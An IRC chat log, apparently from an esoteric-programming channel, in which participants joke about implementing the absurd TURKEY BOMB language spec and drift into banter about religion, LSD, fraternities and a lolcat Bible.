18:03:13 <alise> | TRIVIA_CONCERNING Value Value Value
18:03:13 <alise> I'd put type information in the Haskell types but I bet TURKEY BOMB can subvert even that heroic effort.
18:03:17 <scarf> alise: again, who knows
18:03:20 <AnMaster> scarf, ?
18:03:28 <scarf> * AnMaster:
18:03:29 <alise> worth a try
18:03:35 <alise> no, wait, can't
18:03:36 <alise> nm
18:03:37 <AnMaster> scarf, ?
18:03:46 <AnMaster> ah
18:03:50 <alise> "Exactly fifteen bytes, no exceptions."
18:03:53 <AnMaster> it was a correction
18:03:53 <scarf> AnMaster: well, if Darl wants to buy it so badly, it must be valuable, right?
18:03:53 <alise> Well that's not going to be workable.
18:04:03 <AnMaster> scarf, why not?
18:04:06 <scarf> alise: I used some padding to manage that in C++
18:04:17 <scarf> just wait until you reach the quarter-of-a-reference type
18:04:24 <AnMaster> scarf, what? you implemented turky bomb in C?
18:04:26 <AnMaster> err C++
18:04:27 <alise> No, I mean, Haskell doesn't really have the concept of sizes of its values, so...
18:04:29 <scarf> that was trivial on my machine with 32-bit pointers, but other bits were harder
18:04:30 <alise> AnMaster: he tried
18:04:33 <scarf> alise: no, I just started
18:04:37 <AnMaster> ah
18:04:40 <scarf> I had most of the declarations there, but no code
18:04:42 <scarf> *AnMaster:
18:04:45 <scarf> stupid tab-complete
18:04:50 <alise> I'd rewrite in C, but I want rationals
18:05:18 <AnMaster> alise, note that pudding and "HUMIDOR BUILT UP FROM type, type & type " both have infinite size
18:05:30 <scarf> AnMaster: you can do them lazily
18:05:39 <AnMaster> oh good point
18:06:09 <AnMaster> also not 1/4 of a reference
18:06:10 <AnMaster> it is:
18:06:14 <AnMaster> "A quarter of the platform-defined pointer size."
18:06:42 <AnMaster> alise, and how did you implement AMICED?
18:06:45 <alise> PUDDING is just a reference to everything in a humidor; or, a reference to the entire universe sans one value (so you can just store that value);
18:06:57 <alise> or, a reference to the entire metaphysical nature of an expression
18:07:07 <alise> AnMaster: make the value be a NEGATIVE_AMICED
18:07:10 <alise> like scarf did
18:07:11 <scarf> AnMaster: AMICED is relatively easy; the weird bitwidth is harder than the actual negativeness
18:07:22 <AnMaster> scarf, oh?
18:07:24 <AnMaster> hm
18:07:40 <scarf> it hardly matters anyway, as I don't know of any actual way to create a value of type AMICED
18:07:57 <scarf> according to the rules, you can just specify a variable and its value to declare one
18:08:09 <scarf> but what's the syntax for an AMICED literal?
18:08:26 <alise> clearly the actual bits and trits are embedded in the source
18:08:31 <alise> since we only have bits trits are represented as bits
18:08:39 <alise> so the following 5/3 bits of the source code are the value
18:08:42 <alise> obviously
18:08:52 <alise> why would you need syntax? you have the inherent syntax of character arrays right in front of you
18:09:02 <alise> now clearly amiced is negative
18:09:08 <alise> so the /preceeding/ 5/3 bits are the value
18:09:11 <scarf> hey, you know how, say, bz2 treats the data as a stream of bits, rather than octets?
18:09:14 <alise> so if it was
18:09:16 <alise> x = y
18:09:18 <alise> it'd be
18:09:31 <scarf> could you treat the program as a purenumber, and take fractional bits from that?
18:09:32 <alise> x =y=
18:09:33 <alise> or something
18:09:49 <alise> where the latter is 2/3rds
18:09:50 <alise> of a =
18:09:53 <alise> and the former is 1/3rd
18:09:54 <alise> I think
18:09:57 <alise> no esiy
18:09:58 <alise> no wait
18:09:59 <alise> that's bytes
18:10:01 <alise> you get the idea
18:10:11 <alise> scarf: eh?
18:10:27 <scarf> alise: say, you have a huge purenumber
18:10:33 <AnMaster> scarf, "<scarf> AnMaster: AMICED is relatively easy; the weird bitwidth is harder than the actual negativeness"
18:10:34 <MissPiggy> ANHAHA
18:10:35 <AnMaster> but actually
18:10:36 <scarf> you can extract one bit from it by dividing by 2 and taking the remainder
18:10:40 <AnMaster> " Negative six sevenths of a decimal digit. "
18:10:46 <scarf> and one trit by dividing by 3 and taking the remainder
18:10:46 <AnMaster> what the heck is a decimal digit here
18:10:50 <AnMaster> how wide is it
18:10:57 <scarf> AnMaster: ln(10)/ln(2) bits
18:11:00 <AnMaster> scarf, is it stored as BCD perhaps
18:11:02 <scarf> just like normal decimal digits
18:11:02 <AnMaster> that is my guess
18:11:07 <scarf> and no, it's stored as decimal
18:11:08 <alise> scarf: oh very good idea
18:11:15 <alise> let's do it
18:11:18 <scarf> alise: this may even extend to fractional bits
18:11:20 <alise> scarf: collaborate? or am i just too crazy for you
18:11:23 <scarf> but I'm not sure
18:11:39 <scarf> alise: I would, but I need to get some RL work done by three days ago, only nobody's noticed I haven't done it yet
18:11:52 <AnMaster> get going then!
18:11:53 <alise> divide by 5/3*2 and take the remainder obvs
18:12:11 <scarf> yep, ofc
18:12:28 <scarf> and an AMICED literal would presumably /add/ info to the source
18:12:38 <scarf> whatever info gets added, that's the value that the AMICED doesn't contain
18:12:41 <scarf> it's all falling into place
18:12:46 <alise> hmm no
18:12:57 <alise> i think "The following -n bits" = "The preceding n bits"
18:13:01 <scarf> alise: I don't
18:13:02 <alise> but maybe you're right
18:13:13 <alise> so you specify every 5/3 bit value apart from the one it contains?
18:13:17 <alise> rer
18:13:18 <alise> er
18:13:20 <alise> doesn't contain
18:13:21 <alise> so to speak
18:13:49 <scarf> think about it this way: a literal bit has 2 possible values, 0 and 1; code containing a literal bit, you have 2 possibilities for the code giving 2 values for the bit, and 1 possibility for the rest of the code, assuming all you change is that bit
18:14:09 <alise> `addquote <scarf> and an AMICED literal would presumably /add/ info to the source <scarf> whatever info gets added, that's the value that the AMICED doesn't contain <scarf> it's all falling into place
18:14:10 <HackEgo> 135|<scarf> and an AMICED literal would presumably /add/ info to the source <scarf> whatever info gets added, that's the value that the AMICED doesn't contain <scarf> it's all falling into place
18:14:13 <scarf> now, a literal negative bit has half a possible value; code containing a literal for that, you have 1 possibility for the code but 2 possibilities for the rest of the code
18:14:20 <alise> scarf: so, wait
18:14:36 <alise> bi_its can't just be integers
18:14:40 <alise> because the fractional portion gets wasted
18:14:43 <alise> so are they rationals? reals?
18:14:46 <alise> it's not specified
18:14:49 <AnMaster> I give up understanding this
18:14:52 <alise> ieee floats?
18:14:54 <AnMaster> better to avoid going insane
18:15:01 <alise> I guess a real
18:15:05 <scarf> alise: they're something with... a fractional number of possibilities
18:15:05 <alise> since we're dividing the program
18:15:09 <alise> no, wait, rationals
18:15:18 <alise> scarf: yes, but we're dividing by a fractional number and taking the remainder
18:15:28 <alise> hmm wait
18:15:35 <AnMaster> alise, fmod()?
18:15:35 <alise> a negative amiced isn't a rational number of bits
18:15:40 <alise> so it /has/ to be reals
18:15:40 <alise> :-D
18:15:51 <alise> so we need a computable real system to do all this
18:16:10 <alise> which means we're losing some nice things... for instance equality won't terminate if the two reals aren't equal
18:16:17 <AnMaster> alise, what is the bit width of a decmial digit?
18:16:24 <scarf> meh, TURKEY BOMB doesn't have equality, maybe that's why
18:16:31 <alise> AnMaster: log(10)/log(2)
18:16:42 <AnMaster> hm okay
18:16:45 <scarf> AnMaster: you can even implement this, using 10-valued logic
18:16:47 <scarf> just it would be a real pain
18:16:52 <alise> scarf: but turkey bomb doesn't specify ascii or whatever
18:16:53 <scarf> and you have to do it in hardware not software
18:16:56 <alise> so how do we construct the program number?
18:17:13 <AnMaster> scarf, you could emulate it in software? By writing a 10-valued-logic-emulator?
18:17:13 <alise> oooh!
18:17:18 <scarf> alise: presumably, as an expression, Mathematica-style
18:17:26 <alise> obviously the character set has exactly the number of characters that are used in the monospace portions of the spec
18:17:40 <alise> scarf: no, i mean, we don't actually have a defined way to make the text into a number
18:17:44 <scarf> anyway, I see something neat about, one program containing a negative-bit literal contains 1/2 a possibility for that literal * 2 for the rest of the program
18:17:47 <AnMaster> scarf, after all you can emulate ternary systems...
18:17:56 <scarf> alise: syntax is the least of my worries here :)
18:17:59 <alise> obviously the character set has exactly the number of characters that are used in the monospace portions of the spec, and they are ordered by order of occurence (not from CLIN_TON; that's part of the older-human-written stuff)
18:18:05 <alise> no? :P
18:18:11 <scarf> AnMaster: yep, that involves wasting a bit of memory, though, and TURKEY BOMB dislikes padding
18:18:19 <scarf> alise: maybe
18:18:32 <AnMaster> scarf, well write it in VHDL then!
18:18:37 <AnMaster> or something
18:18:42 <MissPiggy> what is TURKEY BOBM
18:18:42 <alise> scarf: oh, wait, the article is in ASCII, and it says it originates from the late 90s
18:18:49 <alise> and ASCII would have been used then
18:19:02 <alise> so clearly, as they wouldn't DARE reinterpreting the monospace things from the spec for... some reason, it's ASCII
18:19:19 <scarf> MissPiggy: take a turkey (preferably, a real, live turkey), or a time bomb (preferably, a real, live time bomb); preferably both, /securely/ strapped together
18:19:29 <alise> oh great, we're going to have control characters in literals
18:19:50 <alise> MissPiggy: ...and DRINK!
18:20:54 <cpressey> You know, when you consider both the premise of TURKEY BOMB, and the fact that FBBI stands for "Flaming Bovine Befunge Interpreter"... I'll bet the SPCA hates me.
18:21:08 <alise> cpressey: now ANSWER OUR INQUIRIES!!!!
18:21:13 <alise> :P
18:21:31 <scarf> hmm, OTOH, the TURKEY BOMB spec does seem to imply particular representations for operators
18:21:32 <cpressey> Heh. Where do you people get the idea that ambiguities in a spec can be resolved by asking the person who wrote it, anyway?
18:21:44 <cpressey> Or the idea that I wrote the TURKEY BOMB spec?
18:21:50 <alise> cpressey: SHUT UP
18:21:51 <alise> oh you didn't?
18:21:56 <cpressey> I FOUND IT
18:21:59 <scarf> so, is the valuestream separate from the operators themselves?
18:22:04 <alise> "Discovered mysteriously one day amidst a pile of Byte magazines in a second-hand book store by Chris Pressey"
18:22:06 <alise> yep, I believe you
18:22:07 <cpressey> At the bottom of a birdcage
18:22:17 <alise> The Byte magazines were in the birdcage?
18:22:19 <scarf> anyway, I wasn't under the impression that cpressey had any idea how TURKEY BOMB worked
18:22:20 <alise> Or just the spec?
18:22:26 <alise> Was there anything else in the birdcage if the latter?
18:22:39 <Gregor> alise: The whole bookstore was in the birdcage.
18:22:45 <alise> Ah.
18:22:48 <Gregor> It was a very large birdcage.
18:23:01 <alise> Or a very small bookstore.
18:23:29 <AnMaster> <cpressey> You know, when you consider both the premise of TURKEY BOMB, and the fact that FBBI stands for "Flaming Bovine Befunge Interpreter"... I'll bet the SPCA hates me. <-- SPCA?
18:23:29 <alise> \ ADVISORY ADVISORY ADVISORY ADVISORY
18:23:29 <alise> Returns the type thus pointed to. Also, the player holding the TURKEY BOMB must pass it off.
18:23:35 <alise> scarf: so types are values
18:23:38 <alise> but what are their types?
18:23:52 <scarf> well, the type of a TURKEY BOMB is obvious enough
18:24:09 <alise> yes, TURKEY BOMB::Type
18:24:14 <scarf> anyway, I always assumed that \ returned a value, and "type" was a typo for "value" there
18:24:17 <alise> but if \, an _expression_
18:24:22 <alise> can return a type as a value
18:24:24 <alise> and every value has a type
18:24:26 <alise> then types must have a type
18:24:28 <scarf> good catch
18:24:33 <AnMaster> alise, or perhaps the bird cage was larger on the inside?
18:24:34 <alise> but there ain't no type specified for types
18:24:37 <scarf> maybe types themselves are untyped
18:24:38 <AnMaster> so it was both
18:24:42 <alise> scarf: the most turkey bomb way to resolve this is obviously that not all values have typers
18:24:44 <alise> *types
18:24:48 <scarf> nothing really implies that TURKEY BOMB is strictly typed
18:25:05 <alise> AnMaster: No, that's a police box.
18:25:06 <scarf> well, the spec implies it more or less everywhere but doesn't actually /say/ it, so we should ignore the implication
18:25:15 <AnMaster> alise, yeah, it was disguised!
18:25:19 <scarf> anyway, this means you can have references to types
18:25:22 <AnMaster> it was a bird cage all along!
18:25:30 <scarf> given that an ADVISORY is a quarter of a reference
18:25:31 <alise> $ BI_IT BI_IT BI_IT BI_IT BI_IT BI_IT $
18:25:32 <alise> Attempt to make a GRUBSTEAK.
18:25:32 <alise> TRIVIA Y EXPR Y TRIVIA
18:25:32 <alise> Attempt to make a TRIVIA.
18:25:33 <alise> TRIVIA BI_IT //
18:25:33 <alise> Attempt to connect a TRIVIA to itself and return it. The BI_IT argument is required, but serves no detectably useful purpose (hardcore followers of the drinking game tradition insist that it's for good luck.)
18:25:33 <alise> Note how the first two don't actually say they RETURN anything...
18:25:46 <alise> scarf: Well, no, you can have a quarter of a reference to a type.
18:25:53 <alise> There's just one operation that takes four and dereferences their inaccessible combination.
18:26:18 <alise> If there is a type with no value, then you cannot construct an ADVISORY PERTAINING TO type.
18:26:24 <alise> ADVISORY PERTAINING TO type
18:26:24 <alise> A quarter of a reference to a object of the given type.
18:26:38 <alise> You can't get to the quarter-referenced value, just its type.
18:26:46 <alise> But you need a value to construct one in the first place.
18:26:52 <alise> So you have quarter-references to types that have values.
18:27:05 <scarf> I still think it's a typo, the spec makes no sense otherwise
18:27:09 <scarf> well, even less sense than it normally would
18:27:15 <alise> GARNISH PUDDING
18:27:15 <alise> Convolutes the PUDDING with recent context drawn from the program. The player holding the TURKEY BOMB must pass it off.
18:27:17 <scarf> maybe cpressey copied it incorrectly from the magazine?
18:27:21 <alise> no magazine
18:27:25 <alise> the spec was discovered amongst magazines
18:27:27 <scarf> oh
18:27:30 <alise> Since a pudding is basically a universe,
18:27:32 <scarf> well, copied it incorrectly anyway
18:27:34 <alise> convoluting it with recent context
18:27:36 <alise> =
18:27:42 <scarf> did cpressey find the spec typed on paper, or in electronic form?
18:27:42 <alise> updating the values it has to be their current values
18:27:47 <alise> but recent, that doesn't mean most-recent, surely?
18:27:47 <scarf> it would help to know if it implies ASCII or not
18:27:56 <alise> perhaps it's the turn before this one's state
18:28:01 <alise> cpressey: ^
18:28:09 <alise> this question is about your transcription :|
18:28:10 <AnMaster> scarf, EBCDIC?
18:28:17 <AnMaster> scarf, or baudot?
18:28:27 * Sgeo_ is about to post something stupid to Facebook
18:28:34 <alise> Sgeo_: So don't.
18:28:36 <AnMaster> Sgeo_, well, don't do that then
18:28:44 <alise> NOMENCLATURE % GRUBSTEAK GRUBSTEAK
18:28:44 <alise> Perform iterative cypher transformation of set of names.
18:28:49 <alise> Clearly the grubsteaks define the cypher.
18:28:54 <alise> GRUBSTEAK
18:28:55 <alise> A fraction whose numerator is a perfect square and whose denominator is a prime number.
18:28:56 <alise> Fractran, anyone?
18:29:01 <AnMaster> alise, doesn't the nomenclature?
18:29:10 <alise> NOMENCLATURE
18:29:11 <alise> A set of variable names, defined by an EBNF expression that must contain at least one { } (repeated 0 or more times) term.
18:29:11 <alise> No.
18:29:14 <scarf> AnMaster: you are thinking in completely the wrong terms here
18:29:20 <alise> NOMENCLATURE is a bunch of variable names with some sort of EBNF something.
18:29:29 <AnMaster> alise, pretty sure nomenclature is a crypto term, isn't it?
18:29:30 <alise> "Defined"? Howso, I wonder? Maybe that is the syntax.
18:29:41 <AnMaster> something related to transposing cryptos
18:29:50 <alise> So {a} would be the variable names "","a","aa",...
18:30:09 <AnMaster> or something
18:30:21 <alise> some problems are referred to as mental exercise
18:30:34 <alise> turkey bomb is mental tv-watching
18:30:43 <alise> it ruins your mind!!!
18:30:48 <alise> ag irn
18:30:50 <alise> fub bip
18:30:55 <alise> PUDDING!!!!!
18:30:55 <Sgeo_> "So far, in every college class I've taken, there's always been at least one atheist."
18:31:08 <alise> Sgeo_: yeah that's a pretty significantly retarded thing to say
18:31:38 <MissPiggy> alise http://www.youtube.com/watch?v=2PyXLNL-eHI
18:31:44 <scarf> Sgeo_: are you yourself an atheist? or does someone else you know to be an atheist take every class you take? or something else?
18:31:52 <alise> he's an atheist but he's pretty stupid about it in practice
18:31:56 <cpressey> alise, it was handwritten. Do you believe that?
18:32:04 * Sgeo_ removes it
18:32:07 <alise> (note: I am counteracting the holier than thou/insulting balance)
18:32:11 <MissPiggy> who's an atheist???
18:32:17 <MissPiggy> AMOUGST US???
18:32:18 <alise> cpressey: Yes. (No)
18:32:25 <cpressey> Now what's this about a pigeonhole principle for atheists in college classes?
18:32:41 <AnMaster> cpressey, with a quill pen?
18:32:51 <Sgeo_> Bye all
18:32:57 <Gregor> And now, it's time for WHO'S AN ATHEIST, the game show where we hunt down and kill anyone who doesn't worship the father, the son and the holy spirit! *theme music plays*
18:32:59 <cpressey> AnMaster: If only to keep the bird-related theme up, yes.
18:33:11 <AnMaster> cpressey, ooh I didn't think that far
18:33:11 <alise> Gregor: Don't forget... Robert!
18:33:17 <lament> atheists are more likely to go to college, because they need surrogates like higher education to fill their life with a semblance of meaning.
18:33:22 <MissPiggy> Groogger :D
18:33:28 <alise> cpressey: What natural language was it written in, exactly? :P
18:33:51 <alise> lament: Oh you scoundrel.
18:33:52 <cpressey> alise: In truth I cannot be certain...
18:34:03 <AnMaster> cpressey, how comes?
18:34:09 <alise> AnMaster: he was playing TURKEY BOMB at the time
18:34:11 <alise> with LSD
18:34:17 <AnMaster> oh
18:34:18 <alise> (he hadn't seen the warning yet, as he hadn't found the spec yet)
18:34:41 <AnMaster> alise, I thought we were in for some LP Lovecraft thingy to explain it
18:34:42 <AnMaster> :/
18:35:04 <alise> The spec /is/ /Cthulhu/.
18:35:11 <cpressey> Oh how I wish it was merely LSD! In fact, it was extract of shoggoth.
18:35:16 <cpressey> NASTY stuff.
18:36:25 <alise> So did your finding of the TURKEY BOMB spec cause a lasuac violation that caused you to find it in the first place?
18:37:05 <lament> you mean LSD is not extract of shoggoth?
18:37:40 <AnMaster> lament, no it is lysergic acid diethylamide
18:37:51 <alise> i really want to kill you AnMaster
18:38:03 <Gregor> It's Lucy in the Sky with Diamonds.
18:38:04 <AnMaster> alise, why?
18:38:09 <AnMaster> Gregor, haha
18:38:10 <alise> it's complicated
18:38:43 <AnMaster> alise, if it changes things I had to google it, didn't remember what the name was exactly
18:39:40 <alise> no i guessed you googled it.
18:40:47 <AnMaster> if it helps I remembered it was <something> acid diethylamide
18:41:40 <AnMaster> Gregor, actually Beatles got that wrong. It's Lisa not Lucy. She lied about her name
18:42:18 <scarf> "lucy in the sky with diamonds" sounds like a weird variation of Cluedo
18:42:25 <alise> Lucy O'Donnell Vodden (1963 - 22 September 2009) was the inspiration for the song.
18:42:28 <alise> scarf: :D
18:42:36 <AnMaster> scarf, heh
18:42:51 <Gregor> OK
18:42:59 <alise> Gregor: KO
18:43:05 <Gregor> We officially must make a version of Clue in which "Lucy in the Sky with Diamonds" is a valid guess.
18:43:15 * pikhq could've sworn atheism was... Common...
18:43:18 <AnMaster> bbiab
18:43:32 <scarf> Gregor: ah, I forgot that you Americans had a different name for it
18:43:33 <alise> pikhq: WHAT WOULD YOU KNOW JEBUS-HUGGER
18:43:52 <pikhq> alise: Many things.
18:43:59 <Gregor> scarf: Probably just a consequence of trademark vagaries.
18:44:04 <alise> too bad your system is inconsistent
18:44:08 <alise> YOU KNOW EVERYTHING AND NOTHING
18:44:11 <cpressey> This was shortly before John Carpenter and I travelled to FSU to steal the Kappa Upsilon Chi's mascot at the time, which was, as fate would have it, a turkey.
18:44:17 <pikhq> alise: How very Xen of you.
18:44:33 <alise> cpressey: You forgot "...on acid".
18:44:36 <pikhq> ... That was an odd misspelling.
18:44:43 <cpressey> alise: I am an expert on these matters.
18:45:08 <alise> cpressey: Or are you?
18:45:22 <AnMaster> pikhq, Z and X are next to each other
18:45:26 <cpressey> Alas alise, not as much as fungot.
18:45:26 <fungot> cpressey: athame: the ki-rin is a member of the great tail sweeping from side to side, like a child, opened them and brought them many gifts of food and clothing for their relentless persecution of their victims.
18:45:27 <AnMaster> on qwerty at least
18:45:37 <alise> [[Kappa Upsilon Chi ("Keeping Under Christ", Kappa Chi, or ΚΥΧ)]]
18:45:37 <alise> that's a really irritating abuse of the greek alphabet
18:45:54 <alise> ugh
18:45:59 <scarf> I like that last fungot quote
18:45:59 <AnMaster> alise, eta beta pi
18:46:00 <fungot> scarf: always sweep the floor. only the beginning of lactation in ewes and was a single, savage thrust of her sisters to have been born on the take.
18:46:07 <AnMaster> alise, and that's from Discworld
18:46:08 <alise> Excellent Buttock Pissing
18:46:14 <AnMaster> alise, no no
18:46:22 <AnMaster> "eat a better pie"
18:46:24 <alise> why aren't there any fraternities with three of the same letter?
18:46:25 <AnMaster> eta beta pi
18:46:28 <AnMaster> see?
18:46:29 <alise> Xi Xi Xi
18:46:37 <AnMaster> alise, because that sounds silly
18:46:41 <alise> EXACTLY
18:46:54 <Gregor> Welcome to Kappa Kappa Kappa!
18:47:13 <AnMaster> scarf, I think I saw someone riding a tame ki-rin on NAO once
18:47:23 <AnMaster> I have no idea how that happened
18:47:30 <alise> Digamma Digamma Digamma!
18:47:59 <scarf> AnMaster: blessed figurine of a ki-rin
18:48:02 <scarf> I've done it myself
18:48:12 <AnMaster> scarf, ah of course...
18:48:13 <alise> DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon
18:48:14 <alise> get it hur hur?
18:48:24 <alise> s/upsilon/UPSILON/g
18:48:31 <AnMaster> alise, developers developers?
18:48:44 <AnMaster> but what is the UPSILON?
18:49:04 <AnMaster> Beta Beta Beta Beta (Badger Badger ...)
18:49:05 <alise> In the geek alphabet: ϜϜϜϜϜϜϜΥΥΥΥΥΥΥΥΥΥΥΥ
18:49:19 <alise> Lowercased: ϝϝϝϝϝϝϝυυυυυυυυυυυυ
18:49:24 <AnMaster> har
18:49:28 <alise> (Well, the obsolete greek alphabet.)
18:50:55 <AnMaster> alise, old greek you mean?
18:51:03 <alise> No, that's your mom.
18:51:08 <AnMaster> that's still used in math
18:51:24 <AnMaster> alise, that's what your dad said!
18:51:31 <AnMaster> (now go figure that one out!)
18:51:42 <AnMaster> (also he said it to your mom)
18:52:03 <alise> I'm my mother's dad's son's brother's father's granddaughter's cousin.
18:52:28 <pikhq> I'm my cousin.
18:52:43 <alise> (= I'm my self.)
18:52:59 <AnMaster> har
18:53:09 <alise> pikhq isn't lying though :)
18:53:28 <AnMaster> alise, impossible?
18:53:40 <alise> No.
18:53:42 <alise> Not with inbreeding.
18:53:43 <AnMaster> how
18:53:51 <AnMaster> maybe
18:53:55 <alise> pikhq comes from a real good Southern family.
18:54:01 <AnMaster> not sure how you would need to inbreed for that
18:54:11 <alise> pikhq: Explain to the peon!
18:55:03 <AnMaster> peon?
18:55:30 <AnMaster> alise, that is what your mom said (referring to herself)
18:55:39 <alise> I'm my mother.
18:55:45 <alise> `quote unborn
18:55:46 <HackEgo> 56|<oklopol> im my dads unborn sister
18:55:47 * cpressey drowns in feathers.
18:55:53 <pikhq> AnMaster: Cousins married a few generations back. Twice.
18:55:57 <AnMaster> cpressey, why?
18:56:01 <pikhq> Making me my own 7th and 9th cousin.
18:56:10 <AnMaster> pikhq, oh not first cousin at least
18:56:19 <AnMaster> because that shouldn't be possible
18:56:20 <Gregor> pikhq: That's not something you're supposed to admit on the tuberwebs :P
18:56:39 <scarf> cpressey: noo, don't mention Feather
18:56:43 <scarf> I have real work to do atm!
18:56:48 <AnMaster> scarf, oooh feather!
18:56:49 <Gregor> That being said, we're all cousins ... even if you have sex with a sheep, you're having sex with your cousin.
18:56:50 <pikhq> My family tree is... Hard.
18:57:05 <alise> scarf: add the feather operations to turkey bomb
18:57:06 <AnMaster> scarf, a pity can't show intonation
18:57:09 <cpressey> I have 2 parents, 4 grandparents, 8 great-grandparents, and so forth. Therefore I have an infinite number of ancestors.
18:57:11 <AnMaster> the way I thought it...
18:57:22 <alise> Gregor: We're all part of the same big family :D
18:57:30 <pikhq> Freaking Hatfields.
18:57:46 <alise> cpressey: You know, the Bible tells us of all the inbreeding that went on in Genesis.
18:58:02 <AnMaster> cpressey, ooh, do that as proof by induction
18:58:06 <Gregor> alise: If it wasn't for all that Genesis inbreeding, we'd all be living for five hundred years.
18:58:08 <pikhq> alise: Actually, it's pretty mum on most of the inbreeding that had to happen.
18:58:09 <alise> AnMaster: He did.
18:58:12 <Gregor> alise: That inbreeding broke our genes.
18:58:16 <cpressey> alise: Indeed. That's how those cats all lives to be 800 years old.
18:58:17 <alise> Gregor: 900 was the top no?
18:58:18 <alise> 900 or so
18:58:18 <AnMaster> alise, not a formal such proof
18:58:20 <cpressey> s/s/d/
18:58:22 <pikhq> Well, had to happen according to given accounts.
18:58:38 <pikhq> alise: Yuh.
18:58:54 <pikhq> I'm not entirely sure how biblical literalists... Rationalise that.
18:59:08 <pikhq> Oh, wait.
18:59:12 <pikhq> They don't.
18:59:19 <AnMaster> cpressey, what cats?
18:59:29 <alise> I'm not entirely sure how biblical interpretists-and-ignoring-a-large-portion-of-it-anyway... justify believing in /any/ of it.
18:59:31 <alise> Oh, wait.
18:59:32 <alise> They don't.
18:59:34 <scarf> hmm, are there any biblical literalists that take the lolcat version as the version that literally happened?
18:59:38 <cpressey> Well, some of the weirder ones do (rationalize it.)
18:59:58 <alise> I'm pretty sure talking about the /relative rationality/ of Christians is ridiculous,.
18:59:58 -!- Slereah has joined.
19:00:01 <alise> *ridiculous.
19:00:16 <AnMaster> scarf, what, there is a lolcat version of the bible??
19:00:26 <alise> http://www.lolcatbible.com/
19:00:27 <alise> Warning: Awful
19:00:41 <scarf> AnMaster: apparently yes
19:00:57 <alise> http://www.lolcatbible.com/index.php?title=Revelation_1
19:01:09 <alise> Interestingly, this makes exactly the same amount of sense as the actual Revelation.
19:01:18 <AnMaster> alise, yeargh
19:01:19 <AnMaster> indeed
19:01:25 -!- mrbug has joined.
19:01:32 <pikhq> alise: Somehow, that doesn't surprise me.
19:02:10 <alise> http://www.lolcatbible.com/index.php?title=Revelation_22
19:02:11 <alise> hahaha
19:02:32 <alise> "He which testifieth these things saith, Surely I come quickly. Amen. Even so, come, Lord Jesus."
19:02:33 <alise> -->
19:02:34 <alise> "BRB"
19:03:38 <alise> scarf: wait, from what do you derive that turkey bomb actually has variables?
19:03:45 <alise> NOMENCLATUREs are related to them
19:03:52 <alise> but I see nothing about actually using variables in expressions or anything
19:04:12 <scarf> alise: there's a comment somewhere else that anyone can create a variable by saying its name and value
19:04:18 <scarf> at any time, including while someone else is calculating
19:04:21 <alise> "Variables are also declared by any player spontaneously standing up and shouting out a name that hasn't been mentioned yet, and a type to go with it, at any time."
19:04:26 <alise> scarf: but that doesn't mean you can actually use them in expressions
19:04:27 <scarf> oh, name and type
19:04:31 <alise> only that they exist, in some vague sense
19:04:34 <scarf> alise: no, I wasn't assuming that
19:04:39 <alise> :D
19:04:43 <scarf> for all I know, they exist just to mess with NOMENCLATUREs
19:05:06 <alise> then, wait
19:05:11 <alise> it doesn't say there are literals, either
19:05:17 <alise> so every expression /must be infinitely nested/
19:05:36 <AnMaster> it also says the spec is possibly incomplete
19:05:38 <AnMaster> doesn't it
19:05:48 <AnMaster> so you shouldn't assume that it is complete
19:05:48 <scarf> I think there probably are literals, or how could you play it as a drinking game?
19:05:50 <alise> AnMaster: that's why we're making such ridiculous assumptions
19:06:02 <AnMaster> alise, ?
19:06:07 <alise> scarf: holding literal BI_ITs and PUDDINGS etc up
19:06:13 <alise> AnMaster: because it's incomplete
19:06:19 <AnMaster> ah
19:06:38 <AnMaster> BI_IT BI_IT BI_IT ! BI_IT BI_IT BI_IT
19:06:42 <AnMaster> I assume those are values
19:06:46 <alise> Yes.
19:06:47 <AnMaster> to be inserted there
19:06:52 <AnMaster> then there must be literals
19:06:52 <alise> scarf: but yes there probably are literals
19:07:09 <AnMaster> unless that is actually the literal phrase "BI_IT BI_IT BI_IT ! BI_IT BI_IT BI_IT"
19:07:16 <alise> AnMaster: or just nested expressions
19:07:25 <alise> scarf: so obviously a @HUMIDOR type of pudding "contains" all the values within it
19:07:46 <alise> a regular pudding-but-with-exclusion contains all values in the entire turkey bomb universe (possible values or only used values?) except for one
19:08:09 <alise> a metaphysical-pudding contains the interpreter's representation of EXPR, represented somehow as multiple values inside the pudding
19:08:58 <AnMaster> alise, except which one?
19:09:20 <alise> ALL BUT EXPR
19:09:20 <alise> Returns a PUDDING indicating everything but EXPR.
19:09:22 <alise> That one.
19:09:30 <alise> ALL BUT EXPR
19:09:30 <alise> Returns a PUDDING indicating everything but EXPR.
19:09:31 <alise> WHEREFORE ART EXPR
19:09:31 <AnMaster> ah
19:09:31 <alise> Returns a PUDDING indicating the entire metaphysical nature of EXPR.
19:09:31 <alise> WHEREFORE AIN'T EXPR
19:09:32 <alise> Short for WHEREFORE ART ALL BUT EXPR.
19:09:32 <alise> WHEREFOREN'T EXPR
19:09:32 <alise> Short for ALL BUT WHEREFORE ART EXPR.
19:09:48 <alise> WHEREFORE AIN'T EXPR = A PUDDING indicating the metaphysical nature of (a PUDDING indicating everything but EXPR).
19:10:07 <alise> WHEREFOREN'T EXPR = A PUDDING indicating everything but (a PUDDING indicating the metaphysical nature of EXPR).
19:10:15 <AnMaster> hm
19:10:17 <AnMaster> those other ones
19:10:21 <AnMaster> are somewhat trcky
19:10:35 <alise> HUMIDOR.type
19:10:35 <alise> Retrieves an element from a HUMIDOR.
19:10:45 <alise> scarf: is type a placeholder in the syntax or literally "type" do you think?
19:10:53 <scarf> no idea
19:10:53 <alise> they don't seem to use type, so i guess it's literal
19:11:10 <alise> HUMIDOR BUILT UP FROM type, type & type
19:11:10 <alise> A structure containing three other types, specified at compile-time, all of which must be different, one of which must be another HUMIDOR.
19:11:10 <alise> Infinite.
19:11:11 <alise> HYBRID OBTAINED BY COMBINING type & type [WITH GUSTO]
19:11:11 <alise> A unified structure containing data from two different types, specified at compile time.
19:11:13 <alise> HYBRID.type
19:11:13 <alise> Casts a HYBRID to either type it was defined with.
19:11:14 <alise> HUMIDOR.type
19:11:14 <alise> Retrieves an element from a HUMIDOR.
19:11:15 <alise> it does use type indeed
19:11:23 -!- tombom has quit (Ping timeout: 246 seconds).
19:11:32 <alise> wait, HUMIDOR /types/ are infinite
19:11:44 <alise> HUMIDOR BUILT UP FROM ZILCH, ZILCH & HUMIDOR BUILT UPF ROM ZILCH, ZILCH & ...
19:11:48 <AnMaster> yes
